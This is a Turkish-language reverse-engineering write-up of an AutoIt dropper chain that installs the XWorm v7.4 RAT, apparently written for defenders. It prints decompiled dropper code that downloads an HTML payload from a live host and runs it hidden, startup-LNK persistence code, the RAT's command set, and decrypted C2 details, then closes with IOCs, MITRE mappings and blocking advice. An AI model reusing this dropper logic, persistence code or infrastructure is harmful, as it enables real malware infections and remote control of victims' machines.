Gönderi

Alpha Scramble 2: AutoIt Dropper ile Başlayan XWorm RAT Analizi

Alpha Scramble 2: AutoIt Dropper ile Başlayan XWorm RAT Analizi

Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.

Bu yazımızda MalwareBazaar’dan elde ettiğimiz bir zararlı yazılımın uçtan uca enfeksiyon zincirini (attack chain) ve nihai payload olan XWorm v7.4 RAT‘ın fonksiyonel yeteneklerini tersine mühendislik yaklaşımıyla ortaya koyacağız.

Zincir; derlenmiş bir AutoIt dropper ile başlayıp, geçici dizine InformationCheck.exe (AutoIt interpreter bileşeni) bırakılması ve bunun da sisteme XWormClient.exe‘yi kurmasıyla tamamlanmaktadır. Zincir ayrıca bir web aşaması içerir: dropper, yandlinks.com üzerindeki bir HTML dosyasını indirerek bunu interpreter’a argüman olarak geçirir.


İncelenen Artefact’lar

ArtifactAçıklamaSHA256
e2b2fb8b...exeMalwareBazaar’dan alınan başlangıç örneği (derlenmiş AutoIt dropper)e2b2fb8b0baffa0b3104ebd6da6de4f6b102b8f26d3828afa4e726e661be2702
InformationCheck.exeDropper’ın %TEMP% altına yazdığı AutoIt interpreter bileşeni237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
XWormClient.exeNihai payload — XWorm v7.4 RAT7b85dff2263d08ce6e5ea4976979e8f81ccc71c437d1ea50998f199f40be5d7f
yOIJnMrwu.htmlDropper’ın indirdiği HTML — içinde XWormClient gömülühttp://yandlinks.com/yOIJnMrwu.html

Referans linkleri:


Stage-1: AutoIt Dropper

1.1 Temel Dosya Bilgileri

Dosya: e2b2fb8b0baffa0b3104ebd6da6de4f6b102b8f26d3828afa4e726e661be2702.exe

ÖzellikDeğer
Boyut1,902,592 bytes
MD56f2ea7b844c52b12c8a308686259e322
SHA256e2b2fb8b0baffa0b3104ebd6da6de4f6b102b8f26d3828afa4e726e661be2702
FormatWindows PE (AutoIt 3.X)
Entropy7.35

Detect It Easy çıktısı:

Detect It Easy Analiz Ekranı Detect It Easy Analiz Ekranı

String analizinden çıkarılabilen anlamlı değerler:

String Analizi String Analizi

1
2
3
HttpOpenRequestW
HttpQueryInfoW
HttpSendRequestW

Bu stringler, dosyanın WinINet tabanlı HTTP iletişimi gerçekleştirdiğine işaret etmektedir. Bağlam değerlendirildiğinde; downloader, loader veya C2 haberleşmesi işlevlerinden en az birini yerine getirdiği anlaşılmaktadır.

1.2 AutoIt Script Çıkarımı

Dosya biçiminin AutoIt olduğu tespit edilince, gömülü payload araştırması için Python tabanlı bir AutoIt extractor kullanıldı:

AutoIt Extractor AutoIt Extractor

Kaynak veriye ulaşılabildiği görülünce içerik kaydedilerek Notepad++ ile açıldı:

Script İçeriği Script İçeriği

Şifreli kısım haricinde scriptin yaptıkları şu şekilde özetlenebilir:

1) Gömülü payload’u çıkarır ve diske yazar:

Local $bin = Binary($skkajaidahdffdg)
$outputfilepath = @TempDir & "\InformationCheck.exe"
FileOpen(..., 0x12)   ; create + overwrite
FileWrite(..., $bin)
FileClose(...)

$skkajaidahdffdg değişkenindeki hex blob, Binary() fonksiyonu ile ham byte’a dönüştürülür ve %TEMP%\InformationCheck.exe olarak diske yazılır.

2) C2 sunucusundan bir HTML dosyası indirir:

$url = "http://yandlinks.com/yOIJnMrwu.html"
$outputfile = @TempDir & "\Details.html"
HttpSetUserAgent("Mozilla/5.0 ... Chrome/120.0.0.0")
InetGet($url, $outputfile, $INET_FORCERELOAD)

3) Kısa rastgele bir bekleme süresi ekler (anti-sandbox):

Sleep(Random(0x5dc, 0xbb8, 0x1))  ; 1500–3000 ms

4) Payload’u HTML dosyasını argüman olarak geçerek gizlice çalıştırır:

Func _PERFORMFINALACTION($sexe, $sarg)
    ShellExecute($sexe, '"' & $sarg & '"', "", "open", @SW_HIDE)
EndFunc

InformationCheck.exe, @SW_HIDE ile görünmeden çalıştırılır ve Details.html argüman olarak geçilir.

Not: Script başında ve sonunda aynı blokların tekrar etmesi, copy-paste kaynaklı basit bir obfuscation tekniğidir. İşlevsel bir fark bulunmamaktadır.


Stage-2: InformationCheck.exe

InformationCheck.exe InformationCheck.exe

Detect It Easy ile yapılan inceleme:

DIE Çıktısı Detect It Easy — InformationCheck.exe

InformationCheck.exe, statik incelemede gömülü özel bir AutoIt scripti içeren bağımsız bir compiled payload olarak değil, AutoIt3.exe tabanlı bir interpreter bileşeni olarak değerlendirilmiştir. Bunu destekleyen bulgular:

  • Dosya metadata’sında InternalName ve OriginalFilename alanlarının değeri: AutoIt3.exe
  • İçinde /AutoIt3ExecuteScript ve benzeri script yürütme string’leri mevcut
  • Gömülü bir SCRIPT resource’u tespit edilemedi

Bu nedenle InformationCheck.exe, asıl zararlı mantığı taşıyan bileşen değil; Details.html içindeki sonraki aşamayı yürütmek üzere bırakılmış bir interpreter wrapper’ı olarak değerlendirilmektedir.

ANY.RUN analizi de bu sonucu destekler nitelikte herhangi bir zararlı davranış rapor etmemiştir.

2.1 C2 Sunucusu ve HTML Payload

Dropper’ın indirdiği yOIJnMrwu.html dosyası incelendiğinde obfuscated bir içerikle karşılaşılmaktadır:

yOIJnMrwu.html İçeriği yOIJnMrwu.html — Obfuscated İçerik

Encoding algoritması:

String içindeki sayılar ] karakterine göre bölünür. Örnek:

1
"111]105]118]114]105]112]55]54]50]104]112]112"

Her sayıdan sabit bir değer (36/9 = 4) çıkarılır, sonuç ASCII karaktere dönüştürülür — yani Chr(n - 4).

EncodedDecodedKarakter
111107k
105101e
118114r
114110n
105101e
112108l
55513
54502
5046.
104100d
112108l
112108l

Sonuç: kernel32.dll

Formül özetle:

1
decoded_char = Chr(encoded_number - key)

Decode Algoritması Diyagramı Decode Algoritması Diyagramı

Algoritmanın çözülmesinin ardından payload’u HTML’den dışarı almak için aşağıdaki script yazılmıştır:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
from pathlib import Path

details_path = Path("yOIJnMrwu.html")
out_path = Path("payload_extracted.exe")

txt = details_path.read_text(errors="ignore")

parts = re.findall(r"\$SplitVv\s*(?:=|&=)\s*'([^']*)'", txt, flags=re.I)

if not parts:
    raise SystemExit("SplitVv parçaları bulunamadı.")

hexstr = "".join(parts).strip()

if hexstr.lower().startswith("0x"):
    hexstr = hexstr[2:]

payload = bytes.fromhex(hexstr)
if not payload.startswith(b"MZ"):
    raise SystemExit("Çıkan data MZ ile başlamıyor. Regex/isim farklı olabilir.")

out_path.write_bytes(payload)
print(f"[+] Yazıldı: {out_path} ({len(payload)} bytes)")

Stage-3: XWorm v7.4 RAT

XWormClient.exe — Detect It Easy XWormClient.exe — Detect It Easy

XWormClient.exe — String Analizi XWormClient.exe — String Analizi

ÖzellikDeğer
Boyut34,816 bytes
TürPE32 GUI + .NET (CLR v4.0.30319)
Assembly NameXWormClient
DilVB.NET

.NET binary olduğu görülünce dnSpy ile decompile edilerek kod analizi yapıldı:

dnSpy — Genel Görünüm dnSpy — Genel Görünüm

3.1 İç Yapı — Sınıflar ve Fonksiyonlar

Dosyada 17 TypeDef bulunmaktadır; asıl iş Stub namespace’i altındaki sınıflar tarafından yürütülmektedir.

Stub.Main

Olası giriş noktası: mutex kontrolü, config yükleme ve ClientSocket.BeginConnect() tetiklemesi gibi bootstrap işlemleri buradan yönetilmektedir.

Stub.ClientSocket — Ağ, Host Profil ve Keepalive

MetodAçıklama
BeginConnect() / ConnectServer()C2’ye bağlanma
BeginReceive() / BeginRead()Soketten okuma döngüsü
Send() / EndSend()Veri gönderimi
isDisconnected()Bağlantı sağlığı kontrolü
Ping() / Pong()Keepalive / heartbeat
Info()Sistem bilgisi paketleme
Antivirus()WMI SecurityCenter2 üzerinden AV/EDR tespiti
GPU() / CPU() / RAM()Donanım profili
UAC()UAC durumu veya bypass mantığı
Spread()Yayılma (propagation) modülü

Import listesinde klasik CreateRemoteThread görünmüyor olması, injection olmadığı anlamına gelmez. XWorm’lar çoğunlukla normal process execute + komutla plugin yaklaşımını benimser. Ayrıca binary içinde injRun string’i mevcuttur — injection tabanlı bir çalıştırma yolunun opsiyonel olarak desteklendiğine işaret etmektedir.

ClientSocket Sınıfı ClientSocket Sınıfı

Stub.Messages — C2 Komut Dispatcher

MetodAçıklama
Read()Gelen paketi parse edip komutlara dispatch etme (merkez)
SendMSG() / SendError()C2’ye çıktı/telemetri/hata gönderimi
Plugin()Plugin loader/runner
Monitoring()Ekran/aktivite izleme
OpenUrl()Urlopen / Urlhide komut ailesi
Cam()Kamera modülü
RunDisk()Disk üzerinde çalıştırma (drop + run)
Memory()Process/bellek operasyonları

Messages içinde ayrıca powershell.exe, ProcessStartInfo, RunShell string’leri mevcuttur — C2 komutları aracılığıyla shell ve PowerShell çalıştırma desteğini göstermektedir.

Messages Sınıfı Messages Sınıfı

Stub.AlgorithmAES — Config/Komut Şifreleme

Decrypt() metodu, config ve C2 string’lerini çözmek için kullanılmaktadır.

Stub.Helper — Yardımcı Fonksiyonlar

MetodAçıklama
GetLastInputTime() / LastAct()Son kullanıcı aktivitesi / idle time
GetActiveWindowTitle()Ön plandaki pencere başlığını okuma
PreventSleep()SetThreadExecutionState ile uyku modunu engelleme
Compress() / Decompress()Paket sıkıştırma
AES_Encryptor() / AES_Decryptor()Mesaj şifreleme katmanı
SetValue() / GetValue()Registry okuma/yazma (Software\ altında)
CreateMutex() / CloseMutex()Tek instance kontrolü
IsValidDomainName(), GetRandomString(), GetHashT()Kimlik üretimi ve ID hashing

Helper static constructor’ında birden fazla User-Agent string’i tanımlanmıştır (Firefox, iPhone Safari, Chrome) — HTTP isteklerinde UA spoofing yapıldığına işaret etmektedir.

Stub.Uninstaller

UNS() metodu: kendini kaldırma ve persistence temizliği.

3.2 Config Şifre Çözme

C2 adresi, port gibi kritik değerler bu örnekte plain string olarak bulunmamaktadır. Settings sınıfının .cctor‘ında AES ile şifrelenmiş Base64 blob’lar yüklenmektedir.

Settings — Şifreli Config Blob'ları Settings — Şifreli Config Blob’ları

AlgorithmAES.Decrypt() AlgorithmAES.Decrypt()

Key türetme mekanizması:

Settings.Mutex string’i UTF-8 olarak encode edilerek MD5 hash’i hesaplanır (16 byte). Ardından 32 byte’lık AES key şu şekilde oluşturulur:

1
2
3
Array.Copy(md5, 0, key32,  0, 16);  // key[0..15]  = md5[0..15]
Array.Copy(md5, 0, key32, 15, 16);  // key[15..30] = md5[0..15]  ← 15'ten başlıyor
// key[31] = 0x00 (boş kalıyor)

Bu kopyalama hatası sonucunda key[15] değeri md5[0] ile ezilmektedir; ECB modu kullanımıyla birlikte config extraction’ı kolaylaştırmaktadır.

Algoritma: RijndaelManaged (AES) · ECB modu · PKCS7 padding · Base64 → decrypt → string

Seed: 1w2rTMtnUzDsC3SD (Settings.Mutex)

Tüm blob’ların çözülmüş hali:

Base64PlaintextAnlam
bDfXsafOgjg+4u1jHQXAtA==172.94.15.100C2 Host (IP)
OAvOIiaQZb49b1XrXNegIQ==6070C2 Port
ElOIVcGtyNJ/dJkzlFVFQw==<123456789>Campaign/Builder ID
q9saKoW+gdXGl+hXXB0hCA==<Xwormmm>Group/Tag
INtKyh2jdNfY50Dqc0QWzQ==XWorm V7.4Family + Version
dHcpGdzlfAELXjxkYcu8BQ==USB.exeYayılma/persistence kopyası adı
lb9/Y4vNpKvC3JvGrMJN2Q==%AppData%Kurulum dizini
EsvW96Q1w/8JpDjK0cKDkQ==XWormClient.exeKurulacak dosya adı

3.3 C2 Bağlantısı ve İlk Beacon

Bağlantı kurulumu:

1
2
3
string host = randomPick(Settings.Hosts.Split(','));
if (domain) resolve DNS; else connect raw IP;
S.Connect(host, int(Settings.Port));

İlk beacon (INFO paketi):

1
"INFO" + SPL + HWID + SPL + UserName + SPL + OS + Arch + SPL + Group + ...

C2’ye bağlanır bağlanmaz aşağıdaki sistem profili gönderilmektedir:

  • HWID (Helper.ID())
  • Kullanıcı adı
  • İşletim sistemi ve mimari (32/64 bit)
  • Kampanya grubu (<Xwormmm>)
  • Kurulum tarihi, yayılma durumu
  • UAC, kamera, CPU, GPU, RAM, AV bilgisi

HWID üretimi deterministik olarak hesaplanmaktadır:

1
2
3
4
GetHashT(
    ProcessorCount + UserName + MachineName +
    OSVersion + SystemDriveTotalSize
)

Bu HWID hem INFO beacon’ında C2’ye gönderilmekte hem de plugin registry path’inin oluşturulmasında kullanılmaktadır.

3.4 Komut Seti (Messages.Read)

Komutlar Settings.SPL ile ayrılmakta ve aşağıdaki dispatch tablosuna göre işlenmektedir:

Session / Lifecycle

KomutAçıklama
pongKeepalive / latency ölçümü
recYeniden başlat (Application.Restart)
CLOSESocket kapat ve çıkış yap
uninstallKendini kaldır
updateGüncelle (payload decompress + replace)

Payload Execution

KomutAçıklama
DWDiske yaz ve çalıştır
FMMemory execution
LNDownload & Execute — WebClient.DownloadFile + Process.Start

Sistem Kontrolü

KomutAçıklama
PCShutdown / PCRestart / PCLogoffGüç yönetimi komutları
RunShellArbitrary komut çalıştırma (cmd)
Urlopen / UrlhideURL açma (görünür/gizli)
StartDDos / StopDDosDDoS başlatma/durdurma
StartReport / StopReportRaporlama başlatma/durdurma
XchatC2’ye HWID ile chat bildirimi

Hosts Dosyası

KomutAçıklama
HostsC:\Windows\System32\drivers\etc\hosts içeriğini C2’ye gönderir
ShostsHosts dosyasını değiştirir (yüksek risk)

Plugin Subsystem

KomutAçıklama
pluginRegistry cache kontrol — yoksa C2’den talep et (sendPlugin)
savePluginC2’den gelen Base64 plugin’i REG_BINARY olarak yaz ve çalıştır
RemovePluginsRegistry key’lerini temizle

Ekran ve Keylogger

KomutAçıklama
$CapEkran görüntüsü al (256×156 thumbnail, JPEG, compress, Base64) → #CAP marker ile gönder
OfflineGetOffline keylogger sorgulama

3.5 Persistence ve Self-Install

Kurulum:

1
2
3
string dst = Settings.InstallDir + "\\" + Settings.InstallStr;
// → %AppData%\XWormClient.exe
File.WriteAllBytes(dst, File.ReadAllBytes(Helper.current));

Startup LNK ile kalıcılık:

1
2
string lnk = StartupFolder + "\\" + Path.GetFileNameWithoutExtension(Settings.InstallStr) + ".lnk";
WScript.Shell.CreateShortcut(lnk).TargetPath = dst;

LNK dosyası oluşturulduktan sonra fileStream açık tutulur — bu, dosyanın silinmesini zorlaştırmak için uygulanan bir kilit mekanizmasıdır.

Anti-sandbox bekleme:

1
Thread.Sleep(checked(Settings.Sleep * 1000));

Builder’dan gelen Sleep değeri kadar beklenerek sandbox’larda kısa execution süresine dayalı tespitlerden kaçınılmaktadır.

3.6 Plugin Registry Artefact’ı

1
public static readonly string PL = "Software\\" + Helper.ID();

Plugin’ler disk yerine registry’e REG_BINARY olarak önbelleğe alınmaktadır:

  • Registry path: HKCU\Software\<HWID_HASH>
  • Value type: REG_BINARY
  • Data: Compressed plugin blob

IR sürecinde diskte plugin dosyası aranmak yerine bu registry key kontrol edilmelidir.


IOC Seti

Network

TipDeğerAçıklama
URLhttp://yandlinks.com/yOIJnMrwu.htmlDropper’ın indirdiği HTML payload
C2172.94.15.100:6070/TCPXWorm C2 sunucusu

Host Artefact’ları

TipDeğerAçıklama
Mutex1w2rTMtnUzDsC3SDTek instance kontrolü
Drop path%TEMP%\InformationCheck.exeDropper’ın yazdığı interpreter
Drop path%TEMP%\Details.htmlİndirilen HTML payload
Install path%AppData%\XWormClient.exeNihai payload
Persistence%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\XWormClient.lnkStartup LNK
RegistryHKCU\Software\<HWID_HASH>Plugin önbelleği
Hosts fileC:\Windows\System32\drivers\etc\hostsRead/Write destekli

Protokol Marker’ları

MarkerKonumAnlam
INFOC2 initial beaconHost profil gönderimi
#CAPScreenshot paketiEkran görüntüsü
sendPluginPlugin yoksaC2’den plugin talebi
plugin / savePluginPlugin akışıCache + execute
DW / FM / LNPayload executionDisk/Mem/Download&Exec
RunShellRemote komutShell çalıştırma

HTTP User-Agent Spoofing

Stub.Helper.userAgents listesinde tanımlı User-Agent string’leri:

1
2
3
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

MITRE ATT&CK Eşlemesi

MITRE IDTeknikGözlemleyen Bileşen
T1012Query RegistryPlugin cache okuma
T1027Obfuscated Files or InformationHTML encoding, AutoIt packing
T1033System Owner/User DiscoveryInfo() beacon — kullanıcı adı
T1047Windows Management InstrumentationAntivirus() — SecurityCenter2
T1057Process DiscoveryMonitoring()
T1070Indicator RemovalUninstaller.UNS()
T1082System Information DiscoveryInfo() beacon — OS, CPU, RAM
T1083File and Directory DiscoveryRunDisk()
T1087Account DiscoveryUserName toplama
T1105Ingress Tool TransferLN komutu (Download & Execute)
T1112Modify RegistryPlugin cache yazma
T1113Screen Capture$Cap komutu
T1140Deobfuscate/Decode Files or InformationAES config decrypt, HTML decode
T1213Data from Information RepositoriesHosts dosyası okuma
T1518Software DiscoveryAV tespiti
T1547Boot or Logon Autostart ExecutionStartup LNK
T1560Archive Collected DataCompress() / Decompress()
T1620Reflective Code LoadingFM (memory execution)

Enfeksiyon Zinciri

Tam Enfeksiyon Zinciri Tam Enfeksiyon Zinciri


Sonuç

Analiz edilen örnek, XWorm v7.4 tabanlı tam yetenekli bir RAT olup aşağıdaki yetenekleri bünyesinde barındırmaktadır:

  • Uzaktan komut çalıştırma
  • Dosya indirme ve çalıştırma
  • Modüler plugin yükleme (runtime genişletme)
  • Hosts dosyası manipülasyonu
  • DDoS başlatma
  • Sistem kontrol komutları
  • Ekran görüntüsü alma
  • AES şifreli C2 iletişimi

Plugin mimarisi sayesinde saldırganlar zararlıyı dinamik olarak genişletebilmekte ve yeni yetenekleri runtime’da yükleyebilmektedir. Bu nedenle sistemde tespit edilen örnek yüksek riskli olarak değerlendirilmiştir.


Öneriler

  • Ağ seviyesinde 172.94.15.100:6070 bağlantıları engellenmeli, loglanmalı ve alarm üretmelidir.
  • yandlinks.com domain’i DNS/proxy katmanında bloklanmalıdır.
  • EDR/AV çözümleri, AutoIt tabanlı packed executable’ları ve %TEMP%‘e drop edilen ikili dosyaları izlemelidir.
  • %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\ altındaki beklenmedik .lnk dosyaları periyodik olarak kontrol edilmelidir.
  • HKCU\Software\<rastgele hash> formatındaki registry key’leri REG_BINARY veri içeriyorsa şüpheyle yaklaşılmalıdır.
Bu gönderi CC BY 4.0 lisansı altındadır.